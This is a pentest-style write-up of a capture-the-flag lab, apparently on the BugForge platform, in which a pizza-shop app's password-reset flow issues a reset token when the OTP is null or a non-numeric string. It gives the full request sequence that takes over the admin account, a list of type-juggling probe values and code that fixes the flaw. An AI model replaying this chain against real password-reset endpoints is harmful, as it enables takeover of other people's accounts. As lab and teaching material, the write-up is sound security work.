Cheesy Does It: Password-Reset Account Takeover via OTP Verification Bypass
Part 1: Pentest Report
Executive Summary
“Cheesy Does It” is a BugForge web application (a pizza-shop theme) built on a
React single-page frontend and a Node/Express backend with HS256 JWT
authentication. The objective was to take over the seeded admin account and
read the flag returned in the admin user object. Testing found that the
password-recovery flow can be driven to completion without ever knowing the
one-time code it is meant to protect: the verify-otp step returns a valid
reset_token when the submitted code is null or a non-numeric string,
allowing a full account takeover from unauthenticated requests.
Testing confirmed one finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Password-reset OTP verification bypass (null / non-numeric otp) | Critical | 9.8 | CWE-640, CWE-697 | POST /api/verify-otp |
The same verify-otp endpoint is also brute-forceable because it applies no
rate limit, an independent route to the same account takeover. That path is
documented separately in the Cheesy Does It OTP brute-force writeup.
This writeup covers the verification bypass, which reaches the takeover in a
single request with no knowledge of the code.
Objective
Take over the admin account and recover the flag, which the application
returns inside the admin user object on successful login.
Scope / Initial Access
# Target Application
URL: https://lab-<instance>.labs-app.bugforge.io # instances observed: 7sza2l, i4nmnu
# Auth details
# Self-registration is open: POST /api/register returns a JWT.
# New accounts receive id >= 4 and carry no role field.
# Login (POST /api/login) returns a JWT plus the full user object (role, email, address).
# JWT is HS256 with claims {id, username, iat}.
# The password-recovery endpoints (forgot-password, verify-otp, reset-password)
# are unauthenticated and identify the target by a username in the request body.
The lab instance is redeployed periodically and the flag rotates per instance; the recovery-flow behavior is stable across redeploys, so the method is what matters rather than any single flag value.
Reconnaissance: Mapping the Recovery Flow
The application surface was mapped by registering an account, logging in, and walking the authentication and recovery endpoints while capturing traffic in Caido. The recovery flow is a three-step chain, and the shape of each response determined where the attack was aimed.
- The recovery flow is
forgot-passwordthenverify-otpthenreset-password, all unauthenticated and keyed only by ausernamein the body. The credential thatreset-passwordconsumes is thereset_tokenreturned byverify-otp, not the OTP itself. That makesverify-otpthe step that mints the authorizing credential, and therefore the primary target. verify-otpreturns a UUIDreset_tokenon success and a400 {"error": "Invalid or expired OTP"}on failure. Submitting values that cannot be the real code became the first test of whether the comparison was sound.- The OTP is a 4-digit numeric code (a space of 10,000). That small space also
makes
verify-otpbrute-forceable without a rate limit, an independent path to the same takeover documented in the OTP brute-force writeup; this writeup pursues the verification bypass, which needs no guessing. - Logging in with our own registered account returned a user object of the
shape
{ token, user: { id, username, role, email, address } }. The flag later surfaced in the admin object’semailandaddressfields, so inspecting every response key (not just the token) was necessary.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js / Express (X-Powered-By: Express) |
| Frontend | React single-page app (static/js/main.b51c4b94.js) |
| Auth | JWT, HS256, claims {id, username, iat} |
| Database | Not directly observed |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register |
POST | No | Self-register; returns JWT. New users get id >= 4, no role field. |
/api/login |
POST | No | {username,password} returns JWT + full user object (role, email, address). |
/api/forgot-password |
POST | No | {username} returns “OTP sent to your registered email address”. |
/api/verify-otp |
POST | No | {username,otp} returns {reset_token} on success. |
/api/reset-password |
POST | No | {username,reset_token,new_password} returns “Password reset successfully”. |
/api/profile |
PUT | Yes | Authenticated profile update. |
/api/menu/pizzas |
GET | Yes | Authenticated menu read. |
Known Users
| Username | ID | Role |
|---|---|---|
admin |
seeded (low id) | admin (target) |
| self-registered test user | >= 4 | none |
Attack Chain Visualization
┌──────────────────┐ ┌────────────────────┐ ┌──────────────────┐ ┌────────────────────┐
│ forgot-password │ ──▶ │ verify-otp │ ──▶ │ reset-password │ ──▶ │ login (admin) │
│ (admin) │ │ otp=null / "test" │ │ set new password │ │ read flag in │
│ fresh OTP set │ │ MINT reset_token │ │ │ │ email + address │
└──────────────────┘ └────────────────────┘ └──────────────────┘ └────────────────────┘
One unauthenticated request chain. The verify-otp step issues the
reset_token despite a non-matching otp, and the reset-and-login tail follows
from that token.
Findings
F1: Password-Reset OTP Verification Bypass (null / non-numeric otp)
Severity: Critical
CVSS v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password), CWE-697 (Incorrect Comparison)
Endpoint: POST /api/verify-otp
Authentication required: No
Description
The verify-otp step is meant to check a submitted one-time code against the
code the server issued for a username, and to return a reset_token only on a
match. Instead, the endpoint returns a valid reset_token when the otp field
is JSON null or a non-numeric string such as "test", even when a fresh,
active OTP exists for the account. No knowledge of the real code is required.
Because the recovery endpoints are unauthenticated, this lets any client mint a
reset token for any account, including admin.
The returned token is a legitimately issued token, not a forged one:
reset-password accepts it and changes the account password, so the defect is
in the comparison at the mint step, not downstream.
Impact
Full takeover of any account, including admin, without knowing the one-time
code. A single unauthenticated request chain resets the target password and
yields admin access.
Reproduction
Step 1: Request a fresh OTP for admin
POST /api/forgot-password HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin"}
Response: 200 {"message":"OTP sent to your registered email address"}. A fresh
4-digit OTP is now active for admin.
Step 2: Submit a non-matching otp value
POST /api/verify-otp HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","otp":null}
Response: 200 {"reset_token":"37df5a27-c767-48ee-ae00-b025996e4186"}. The
server issued a reset token against an active OTP without a matching value.
The string "test" submitted against the same active OTP returned the identical
token, confirming the comparison itself is broken rather than a null matching an
empty store:
POST /api/verify-otp HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","otp":"test"}
Response: 200 {"reset_token":"37df5a27-c767-48ee-ae00-b025996e4186"}.
Step 3: Reset the admin password with the token
POST /api/reset-password HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","reset_token":"37df5a27-c767-48ee-ae00-b025996e4186","new_password":"password"}
Response: 200 {"message":"Password reset successfully"}. The admin password is
now attacker-controlled.
Step 4: Log in as admin and read the flag
POST /api/login HTTP/1.1
Host: lab-7sza2l.labs-app.bugforge.io
Content-Type: application/json
{"username":"admin","password":"password"}
Response: 200 with a JWT and the admin user object:
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"user": {
"username": "admin",
"role": "admin",
"email": "bug{MDMrg76GmEXqWcFxNl7tX5ZSLMrrMJsY}",
"address": "bug{MDMrg76GmEXqWcFxNl7tX5ZSLMrrMJsY}"
}
}
The flag is present in both user.email and user.address.
Remediation
Fix 1: Validate the otp field shape, then compare strictly
The exact server-side comparison is not observable from the client. The
confirmed behavior is that, with an active OTP, otp: null and otp: "test"
both return a reset_token while wrong numeric codes return 400. That rules
out a plain equality check (which would reject null and "test" the same way
it rejects a wrong number) and points to an unsound comparison that fails to
reject non-matching or non-string input. Whatever the mechanism, the fix is the
same: reject anything that is not a 4-digit string, require an active stored
code, and compare exactly.
// AFTER (Secure): reject anything that is not a 4-digit string first,
// require an active stored code, then compare in constant time.
if (typeof submittedOtp !== 'string' || !/^\d{4}$/.test(submittedOtp)) {
return res.status(400).json({ error: 'Invalid or expired OTP' });
}
if (!storedOtp ||
!crypto.timingSafeEqual(Buffer.from(submittedOtp), Buffer.from(storedOtp))) {
return res.status(400).json({ error: 'Invalid or expired OTP' });
}
return res.json({ reset_token: issueResetToken(user) });
Additional recommendations:
- Treat a missing or non-string
otpas an outright rejection, never as a value to coerce. - Make each OTP single-use and short-lived, and invalidate it on the first successful verification.
- Bind the issued OTP to the account and reject verification when no active OTP exists for that username.
OWASP Top 10 Coverage
- A07:2021 Identification and Authentication Failures:
verify-otpaccepts a non-matching one-time code at the recovery-verification step, so the account-recovery authentication path can be completed without the code.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy, request capture and replay, and history search across the recovery flow |
| JSON body crafting (type-juggle matrix) | Submitting otp as null, "test", and numeric values to probe the comparison |
References
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password (https://cwe.mitre.org/data/definitions/640.html)
- CWE-697: Incorrect Comparison (https://cwe.mitre.org/data/definitions/697.html)
- OWASP Top 10:2021 A07 Identification and Authentication Failures (https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)
- OWASP Forgot Password Cheat Sheet (https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
Part 2: Notes / Knowledge
Key Learnings
-
When a reset or two-factor flow has a verify-code step that returns a credential on success, attack the credential where it is minted, and test that gate two ways. In a multi-step recovery flow the code the user types is rarely what authorizes the sensitive action; the token the verify step hands back is. On this target
verify-otpreturned areset_tokenthatreset-passwordthen consumed, andreset-passwordvalidated that token correctly, so pushing on it was a dead end. The productive move was to attack the step that mints the token and to probe it two independent ways: type-juggle the code field (null, a non-numeric string,[],{}, a number, the key omitted) to catch a broken comparison, and brute the numeric space to catch a missing throttle. Either defect issues the token without the real code, and both were present here. -
When a null or empty value appears to bypass a check, rule out the benign “empty store (null == null)” explanation before calling it a bypass. A verification that passes when you send
nullor an empty value is not automatically broken: if the server’s stored secret is unset or expired, a coercing comparison passes for the boring reason that nothing was there to match. To prove the comparison itself is broken, trigger the issuing step immediately before (so a real secret is demonstrably active) and show that a non-null junk value also passes. Hereotp:nullfired 21 seconds after aforgot-passwordthat mints a real 4-digit OTP, andotp:"test"passed against that same active OTP; together those rule out the empty-store explanation and confirm a genuine broken comparison.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Mass-assign a role field via POST /api/register |
Registration returns no role; new users get id >= 4 | The server does not honor a role supplied at registration, so there is no path to admin via self-registration. |
Forge or reuse an arbitrary reset_token at reset-password |
reset-password rejects tokens it did not issue |
reset-password validates the token correctly; the flaw is upstream at verify-otp, where the token is minted. |
Tags: #webapp #account-takeover #password-reset #otp #broken-authentication #bugforge
Document Version: 1.0
Last Updated: 2026-07-09